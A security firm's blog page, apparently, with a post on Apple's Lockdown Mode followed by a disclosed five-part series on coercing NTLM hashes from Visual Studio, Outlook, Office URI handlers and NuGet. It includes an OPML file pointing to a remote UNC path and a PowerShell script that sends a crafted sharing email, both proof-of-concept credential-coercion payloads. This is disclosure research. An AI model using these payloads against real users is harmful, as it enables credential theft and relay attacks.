|
In mid-2022, Apple announced the release of an additional security feature for iOS, iPadOS, and macOS called Lockdown Mode. This was described as an extreme, optional measure to help protect users who may be personally targeted by sophisticated mercenary spyware. It appears this feature was a response to the renowned Pegasus spyware developed by the Israeli cyber intelligence firm NSO Group Technologies, which was used to target activists, journalists, and politicians globally. Apple have provided limited technical details about Lockdown Mode, instead offering a list of eight features that will operate differently when the mode is enabled. In this post we take a look at the possible security reasoning behind the changes to the eight disclosed features which will be altered with Lockdown Mode.
MessagesApple states that ‘Most message attachment types are blocked, other than certain images, video, and audio. Some features, such as links and link previews, are unavailable. Messages with attachments or links can be used to get a user to execute malware on their device. Typically, the attachment contains an executable which is run when the user previews or clicks on the attachment. By restricting attachment types (different file types) and preventing links within messages, this reduces the attack vectors used to distribute malware onto an individual’s device. Thus, the potential malware cannot be distributed to the user’s device through messages. As some attachment types are still allowed, it is still possible, however this feature will limit the options for an attacker to distribute the malware as only a select number of file types could be used to do so. Web browsingIn the released post, Apple states that ‘Certain complex web technologies are blocked, which might cause some websites to load more slowly or not operate correctly. In addition, web fonts might not be displayed, and images might be replaced with a missing image icon’. They have also stated separately that just-in-time (JIT) JavaScript compilation is disabled. An in-depth review of the changes to web browsing was conducted separately by independent researchers Russell Graves and Alexis Lours. The changes to the browser which were discovered are:
FaceTimeIn regard to FaceTime, Apple stated that ‘Incoming FaceTime calls are blocked unless you have previously called that person or contact. Features such as SharePlay and Live Photos are unavailable. Blocking incoming FaceTime calls works to prevent an attacker from exploiting a potential zero-day vulnerability within the FaceTime service to compromise a user’s device. The attacker would not be able to interact with the FaceTime service without being a trusted contact. Furthermore, by blocking extra FaceTime features such as SharePlay and Live Photos, the attack surface is reduced by minimising the number of openings which could have potential vulnerabilities. As FaceTime calls are still allowed for contacts which the user has previously contacted, the FaceTime service could still be used to leverage an attack, however this would involve more steps to initially become a trusted contact. This feature follows the ‘deny by default’ approach, requiring a more sophisticated attack method. Apple servicesIt was stated that ‘Incoming invitations for Apple services, such as invitations to manage a home in the Home app, are blocked unless you have previously invited that person. Game Center is also disabled. As with the FaceTime feature, by blocking incoming invitations for Apple services and disabling Game Centre, the potential attack surface is reduced. Attackers are not able to directly exploit any potential zero days surrounding certain Apple services. Again, an attacker must become a trusted person to exploit any related vulnerabilities by first having received an invitation for the service from the device owner. By blocking incoming invitations for Apple services, it also prevents some phishing attacks utilising the Apple service invitation. For example, if a malicious individual sends an invitation for an Apple service posing as a known or trusted person, this would be blocked. PhotosApple states that ‘When you share photos, location information is excluded. Shared albums are removed from the Photos app, and new Shared Album invitations are blocked. You can still view these shared albums on other devices that don’t have Lockdown Mode enabled. This feature of Lockdown Mode appears to be primarily focused on protecting the users privacy, to prevent the accidental leak of photos and associated metadata. By removing location information when sharing photos and removing shared albums, a user is less likely to accidentally share photos and corresponding metadata such as location data. Withdrawing the shared albums and shared album invitation feature, will also reduce the attack surface by restricting the number of potential vulnerabilities which could be exploited but also prevent the risk of shared content. Device connectionsIt is stated that ‘To connect your iPhone or iPad to an accessory or another computer, the device needs to be unlocked. To connect your Mac laptop with Apple silicon to an accessory, your Mac needs to be unlocked and you need to provide explicit approval. An avenue to deploy malware onto a device is through physical accessories which contain malware that users will plug into their device. This can be as simple as a USB drive or more sophisticated methods such as modified charging cables. A well-known attack method is juice jacking, this is where a malicious actor will infect a USB port or cable attached to the port with malware. This is then stationed in public spaces such as airports or cafes where unsuspecting users will use the accessories to charge their devices, and consequently their device will be infected with malware, or their data is exfiltrated. Apples implementation of this feature prevents the exfiltration of data or distribution of malware onto the device through a physical accessory as the device needs to be unlocked and approval given. Even with this preventative measure, it is still possible an attacker could be successful if the user unsuspectingly trusts a malicious accessory. Wireless connectivityApple states that ‘Your device won't automatically join non-secure Wi-Fi networks and will disconnect from a non-secure Wi-Fi network when you turn on Lockdown Mode. 2G cellular support is turned off'. As it is not defined what a ‘non-secure Wi-Fi network’ is, it is difficult to gauge what this feature does specifically. It is likely the classification of a non-secure network is based on which wireless security protocol (commonly referred to as Wi-Fi security protocol) is used or if the network is open and doesn’t require authentication. Outdated wireless security protocols such as Wired Equivalent Privacy (WEP) and Wi-Fi Protected Access (WPA) have known vulnerabilities which attackers can exploit. An open network can be leveraged by an attacker to conduct many different attacks. The likely intent of this feature is to prevent data from being intercepted within networks as well as prevent malware distribution. Many services and sites still use unencrypted protocols such as the Hypertext Transfer Protocol (HTTP) for web applications or File Transfer Protocol (FTP) for file transfer, allowing an attacker to read any intercepted data. Malware distribution through a non-secure network can be achieved as devices can be identified and communicated with on the network, or an attacker could then exploit a device vulnerability to spread malware onto the device. Configuration Profiles It is stated ‘Configuration profiles can’t be installed, and the device can’t be enrolled in Mobile Device Management or device supervision while in Lockdown Mode’. Configuration profiles, mobile device management, and device supervision are features which are typically used by an organisation that allow them to configure and manage devices. As these features allow a third party to control the device, if the third party’s access credentials are compromised this can be used by a malicious actor to exfiltrate data or install malware on the device. Removing the ability to install configuration files and enrolling the device in device management or supervision ensures that the governance of the device remains solely in the hands of the owner. Furthermore, this again will reduce the exposure points by reducing the number of features which may have vulnerabilities. Conclusion Overall, the features Apple have implemented for Lockdown Mode appear to reduce the attack surface of a user’s device and increase the privacy posture. Apple have taken the approach of reducing functionality instead of building more complex workarounds to enhance security. This may affect the users experience such as the decreased browser performance, however Apple has explicitly stated this is an extreme optional measure. Even with the disclosed features of Lockdown Mode in place, ultimately the user’s actions with their device can compromise it. Some of the feature’s implemented will help prevent user’s from making mistakes, such as blocking links and many attachment types within messages. A potential drawback from Lockdown Mode is digital fingerprinting. It can make a user identifiable purely from using Lockdown Mode, as there are likely not many individuals which use this feature. For example, through browser fingerprinting, a user would be identifiable due to all the web technologies which have been disabled. The majority of web users would not have disabled these technologies due to the performance and functionality decrease. To combat digital fingerprinting of Lockdown mode, the more people which use it, the harder it would be to distinguish individual devices. Lockdown Mode should not be seen as a guaranteed security of a device, if a user’s device is already compromised before the mode is enabled it will likely be ineffective and fundamentally even with all the security features, the users’ actions conducted on their device will have the largest effect on their privacy and security. Author: Julius Staufenberg tl;dr Microsoft Visual Studio contains a won’t-fix NTLM hash leak when repositories are cloned from untrusted sources, including GitHub. By hosting a malicious repository on a server that requires authentication, which may be included in other repositories as a Git submodule, it would be possible to coerce or obtain the hashes of anyone cloning the repository. Introduction This is part five of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. For more detail about what NTLM is, what you can do with them, and why being able to get them out of things is bad, please see our first blog post in this series. Visual Studio Visual Studio is Microsoft’s own Integrated Development Environment (IDE), mainly used by developers for creating .NET-based applications. It was first released in 1997 and has received steady updates to this day. After discovering a different issue in Visual Studio to do with the Nuget package manager, we decided to come back to it and have a second look for bugs. One thing that Visual Studio supports, like most modern IDEs, is the ability to clone a remote repository via Git. When the application launches without an active project configured, a dialog box is presented with the option to Git clone a repo. As we were looking for more NTLM hash leak vulnerabilities, we thought “how does it work when it needs credentials?” Git (but for Windows) Usually when people use Git, they either use a username and password to authenticate, or more likely an SSH key. But because Git (and Visual Studio) are often used in large organisations, it needs to support other forms of authentication like NTLM. How does Git know when to use NTLM to authenticate? Weirdly, it doesn’t use a command line flag or a config file. Instead, when a user attempts to Git clone from a NTLM-authenticated source the user just needs to specify an empty username and password.  This then, of course, sends the NTLM hash to the awaiting server.  Git Credential Manager But how does it work from a GUI? Surely a user doesn’t need to enter their credentials every time? This is where Git Credential Manager (GCM) comes in. Git Credential Manager was written by Microsoft (now maintained by GitHub, who are now owned by Microsoft) for this exact purpose: figuring out what connects to where, when. It stores usernames and passwords in the user’s .gitconfig file for connecting to different Git servers. You’d think that when connecting to an NTLM-authenticated source it would store a flag indicating that it should use NTLM when connecting to it, right? Well, as mentioned before, you use a blank username and password when connecting to the server and then Git will handle the rest. And so GCM will store a blank username and password in the .gitconfig file, and it will do it automatically on first contact (i.e. on Git clone). GCM in Visual Studio You may see where this becomes a bit of an issue. When you Git clone a repository from Visual Studio it will hand off to Git and GCM. GCM sees that the server hasn’t got any credentials configured for it and passes a blank username and password to Git. Git sees the blank username and password and uses the default Windows credentials. This then sends off a Net-NTLMv2 hash to the awaiting Git server. As Visual Studio also passes `--recursive` to Git as it clones, this works within submodules. An attacker could hide a malicious Git submodule inside of a repository, such as within a popular GitHub repository, and any user who clones that repository will leak their credentials to the attacker’s server. This behaviour also happens in Git-powered packages managers, such as VCPKG, which is unlikely unintended behaviour and similar to the Nuget package manager issue we found. Reproduction steps
These are the steps that take place in the video
Disclosure timeline
tl;dr By leveraging sharing headers within Outlook, as with the CVE bypass we discovered, it was possible to create a Net-NTLMv2 hash leak in Outlook with one click, no warnings. Introduction This is part four of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. For more detail about what NTLM is, what you can do with them, and why being able to get them out of things is bad, please see our first blog post in this series (link) What is RSS? If you remember the internet in the mid to late 2000s, you probably remember RSS. If you don’t, RSS (which stands for RDF Site Summary or Really Simple Syndication, depending on who you ask) is a thing on websites that allows users and applications to access updates to websites in a computer-readable format (XML). News sites and blogs publish the RSS feeds, and then RSS reader programs would periodically fetch the feeds and display them to the user. RSS in Outlook In 2007, around about the same time as RSS was popular, Microsoft added RSS reader functionality to Outlook. Because Microsoft never removes functionality, Outlook still has this capability today. RSS feeds can be added in three ways:
The vulnerabilities We first poked around with RSS by messing with the OPML file format. OPML, or Outline Processor Markup Language, is yet another XML file format. It can be used to create a list of RSS feeds to subscribe to, which can be useful in cases such as exporting feeds from one reader when switching to another. We tried creating a .opml file with the following contents: <?xml version="1.0" encoding="UTF-8"?> <opml version="1.0"> <head> <title>Sample OPML File</title> </head> <body> <outline text="My RSS Feeds"> <outline text="Tech News" type="rss" xmlUrl="\\\\192.168.178.74\\" /> <!-- Add more RSS feed outlines as needed --> </outline> </body> </opml> Double-clicking this file opened Outlook and... it didn’t work. But back in part two (link) we learned about redirecting HTTP traffic to SMB. We changed the `xmlUrl` value to point to a HTTP redirector and this time it worked! Outlook successfully followed the redirect and leaked a Net-NTLMv2 hash. This issue was then disclosed to the MSRC team. While waiting for a response, we investigated if there were any other ways of getting Outlook to leak a hash via RSS. In the previous post we learned about the URI handlers that Outlook supports, which includes the `feed:` URI. By combining it with the `x-sharing-config-url:` email header from part 2 we can generate an email that prompts users to add an RSS feed to Outlook. As soon as they click the “Add this RSS Feed” button, their Net-NTLMv2 hash is leaked.  Fun sidenote: you can include images in CDATA tags once the feed has been imported.
Reproduction steps We provided the following PowerShell script to MS to assist with reproduction: # Create an instance of the Outlook Application $outlook = New-Object -ComObject Outlook.Application # Create a new mail item $mail = $outlook.CreateItem(0) # Set the subject of the email $mail.Subject = "Sharing Email with Custom Headers" # Set the recipients (you can add multiple recipients separated by semicolons) $mail.Recipients.Add("[email protected]") # Set the body of the email $mail.Body = "This is the body of the email." # Add custom headers $mail.PropertyAccessor.SetProperty("http://schemas.microsoft.com/mapi/string/{00020386-0000-0000-C000-000000000046}/x-sharing-config-url", "feed://privsec.nz/test.xml") $mail.PropertyAccessor.SetProperty("http://schemas.microsoft.com/mapi/string/{00020386-0000-0000-C000-000000000046}/Content-Class", "Sharing") # Send the email $mail.Send() # Display a confirmation message Write-Host "Email sent successfully." Disclosure timeline 08 May 2024: Reported to the MSRC 11 May 2024: Case opened by the MSRC 30 May 2024: Accepted as a vulnerability by MSRC but ‘Moderate’ so case closed August 2024: Disclosed at DEFCON32 tl;dr By leveraging Microsoft Office URI (Uniform Resource Identifier) handlers, it was possible to obtain a Net-NTLM-v2 (New Technology LAN Manager) hash from a victim after they clicked a single link in an email. This was patched by Microsoft in the August 2024 Patch Tuesday and CVE-2024-38200 was issued. Introduction This is part three of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. For more detail about what NTLM is, what you can do with them, and why being able to get them out of things is bad, please see our first blog post in this series. URI Handlers URI (Uniform Resource Identifier) schemes are small strings that identify a source of data or something for a program to load. Well known URIs include schemes such as `file://`, `http://`, `https://`, which when clicked, load the program associated with the URI scheme. In the case of `http` or `https`, the operating system will know to load the browser and fetch the content at the provided URL, and in the case of the `file://` URI scheme, the file explorer or similar may be loaded. The following Powershell (Administrator) one liner can be used to list all the installed handlers on Windows: Get-ChildItem -Path Registry::HKEY_CLASSES_ROOT | where Property -CContains "URL Protocol" | % { $_.ToString().Split('\')[1] }When Microsoft Office is installed on a Windows computer, several registry entries are made that associate the Office URI schemes to an associated program:
In this case `ofv` stands for Open for Viewing, and the `u` specifies the URL of the resource to fetch. Clicking a hyperlink or anchor tag with this URI handler from within a browser will prompt the following dialog box:  Microsoft security controls As with previous testing, we found that Microsoft would frequently provide a warning dialog, if you were about to do something fun and/or dangerous. In the case of the URI handlers, within a browser, there would be a prompt asking if you would like to open the selected Office program. This is expected behaviour, as the security boundary shifts from the browser to the program that is associated with the URI scheme. In the case of Microsoft Office products, this means that macros will not be loaded, and neither will external resources. These are security protections designed to prevent malicious exploits from happening within these programs. However, after enumerating and testing various URI handler interactions within Outlook, it was found that by emailing a hyperlink with an office URI handler, there would be no dialog prompt. The URI handler would immediately open whichever Office program was specified and attempt to fetch the resource at the specified URL. As with previous HTTP interactions, no Net-NTLMv2 authentication would take place. By applying a 302 redirect (as with the CVE-2023-35636 bypass) it was possible to redirect from port 80 (HTTP) to port 445 (SMB) and capture the Net-NTLMv2 hash. Again, a small Python script (as in the previous blog) was used to perform the redirection. These network interactions would happen before any document was loaded, bypassing the intended security controls in both the browser and the Office program. The below video shows the flow: These are the steps that take place in the video:
tl;dr In 2023, Varonis Labs discovered (https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes) that a Net-NTLMv2 hash could be received from a victim by tricking them into opening a calendar in Outlook. CVE-2023-35636 was issued and was subsequently fixed in December 2023. By leveraging a technique commonly used in SSRF (Server-Side Request Forgery), and redirecting a HTTP request to a UNC path, we were able to bypass Microsoft’s fix and obtain a Net-NTLM-v2 hash. Microsoft patched this as part of the July 2024 Patch Tuesday and issued CVE-2024-38020 (https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-38020). Introduction This is part two of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. For more detail about what NTLM is, please see our first blog post in this series (https://www.privsec.nz/releases/nuget-package-manager) Outlook Outlook is Microsoft’s email client, widely used throughout the world. It comes in multiple flavours and variants, from the Windows desktop client (classic), the browser client, to the (new) desktop client which is built using WebView 2. Outlook allows for sharing and receiving emails, calendars, invitations and other event and message types between different users of different organisations. Microsoft security controls The security controls Microsoft implement for externally provided content often take the form of a warning dialog box, letting the user know that if they choose to interact with external content that is not trusted they may be about to do something dangerous or fun. The vulnerability The original CVE (CVE-2023-35636) leveraged two headers that can be included in an email, which can be specified by the sender. Email headers are hidden parts of an email that can contain information about the sender, and how the message is routed and authenticated. The following Outlook-specific headers were used: Content-Class: x-sharing-config-url: When the value of `Content-Class` was set to “sharing”, this instructs Outlook that the received message is for sharing content. When the `x-sharing-config-url` was set to a file URL or UNC path containing an ICS (calendar) file, Outlook would helpfully format the top of the email with a call to action for the user to add the calendar to their own:  This vulnerability was a one-click, no warning Net-NTLMv2 hash leaker, and was classed as Important and fixed in January 2024. The initial fix Microsoft added a dialog warning to any `x-sharing-config-url` that started with the `file:\\\` handler, letting the user know that by clicking the dialog they may be exposing themselves to risk:  Bypassing the fix We noticed that Outlook was only popping up a dialog box on a UNC/File path link, and that HTTP connections were not providing the same warnings. This was a reasonable assumption for the fix, as Windows generally doesn’t send authentication on port 80/443 unless it is to a trusted location, such as an internal network. However, by reframing this problem to be more like a SSRF (Server-Side Request Forgery), we were able to apply a redirection technique, and subsequently capture a Net-NTLMv2 hash on port 445. Using a basic Python script, we would redirect any incoming web (HTTP) requests to a UNC path:  This is a common technique in SSRF to bypass filter protections, or turn a web-only SSRF into a file read exploit, by forcing a protocol change from http:// to file:// The new flow can be roughly summarised below:
Reproduction steps To reproduce this issue, we have created the following PowerShell script that you are able to run on a Windows machine with Outlook installed:  This issue was patched as part of July 2024 Patch Tuesday, and CVE-2024-38020 was assigned.
Disclosure timeline: 17 April 2024: Reported to the MSRC 18 April 2024: Case opened by the MSRC 27 April 2024: Further reproduction steps provided, including the above PowerShell script 30 April 2024: MSRC confirms that they are able to reproduce 17 May 2024: MSRC confirms that this vulnerability is classed as Important and will be sent for immediate servicing 18 May 2024: MSRC downgrades this issue to a Moderate. 09 July 2024: Patched as part of Patch Tuesday, CVE-2024-38020 assigned.
tl;dr
Earlier versions of Nuget Package Manager shipping with Visual Studio on Windows would leak a Net-NTLMv2 hash on port 80. This would happen on the Nuget Restore operation, which happens as soon as the project is cloned from a Git repo, or otherwise loaded. By poisoning a `nuget.config` file with an IP address of an attacker-controlled upstream repository, it would be possible to coerce or obtain the hashes of anyone cloning the repository. Introduction This is part one of a five-part blog post series focusing on NTLM-related research that was presented by two of our consultants, Tomais Williamson and Jim Rush, as part of the DEF CON 32 presentation (NTLM - the last ride) . After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun forcing authentication and hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. So, what is NTLM? NTLM stands for New Technology Lan Manager, and is the broad name given to the suite of protocols that have underpinned authentication within the Windows ecosystem for the last 30 or so years. In the context of this research, it’s a password hash; a hash being the result of turning a cleartext password (Winter2024!) into a mangled version of itself for transmission over a network, to avoid sending the cleartext password. While it is possible to brute-force weak passwords against known wordlists, the act of hashing a clear text string is like turning a cow into sausages – computationally expensive to get the cow back. However, in an internal Active Directory network, being able to coerce a password hash allows for a variety of relay attacks which do not involve cracking the password. These attacks can allow for user impersonation within an environment. While there are mitigations and steps administrators can take to help reduce this risk, NTLM relaying still presents an excellent way for a malicious actor to laterally move or otherwise pivot around a network. TrustedSec have a great and comprehensive blog post about the relaying attacks available: https://trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022 Now that we understand what an NTLM hash (or Net-NTLMV2) is, and how useful it can be to coerce them, let’s see what we can get them out of. Nuget Package Manager Nuget Package Manager (pronounced "New Get") is a package manager primarily used for packaging and distributing software written using .NET and the .NET Framework. Software packages are self-explanatory, reusable libraries of code that perform certain functions that developers can import into their own projects to save writing their own. How Nuget Stores Credentials As you can imagine, Nuget has some clear documentation surrounding secure storage of credentials. The credentials are recommended to be stored or encrypted and set using the `packageSourceCredentials` node in the `nuget.config` file. Passwords are encrypted by default and are intended to be specified on a per-repository basis, either directly from the command line or using environment variables. The documentation suggests that if a `packageSourceCredentials` node is not set or otherwise populated, Nuget should not pass credentials of any form to an upstream Nuget repository. However, it does, as we discovered. Getting a hash out of Nuget: We reported the below to the MSRC (Microsoft Security Research Centre) who deal with MS related vulnerabilities:
Despite all those technical words for the benefit of the MSRC, the bug is somewhat straightforward:
How this bug happened: ICredentials While trying to figure out the root cause for MS of why Nuget was leaking credentials, we quickly came across the ICredentials interface. This interface within .NET "provides the base authentication interface for retrieving credentials for Web client authentication". This interface provides the `GetCredential` method to objects that provide network credentials to applications and is used extensively throughout the Nuget codebase to handle authentication. Within Nuget, there was a logic error that caused the package manager to retry a request after a 401 response, with the subsequent fallback to the Net-NTLM-v2 hash of the current user being passed in the second attempt. Example `nuget.config` file The below is an example of a poisoned `nuget.config` file, which can be used to coerce the hashes of anyone cloning the repository in VS on Windows:
To reproduce this issue:
An example repository containing an example poisoned nuget.config file can be found here: https://github.com/JimSRush/NTLM_vanilla/blob/main/nuget.config Hello, could I have 500 of my coworkers' hashes please? Disclosure timeline:
|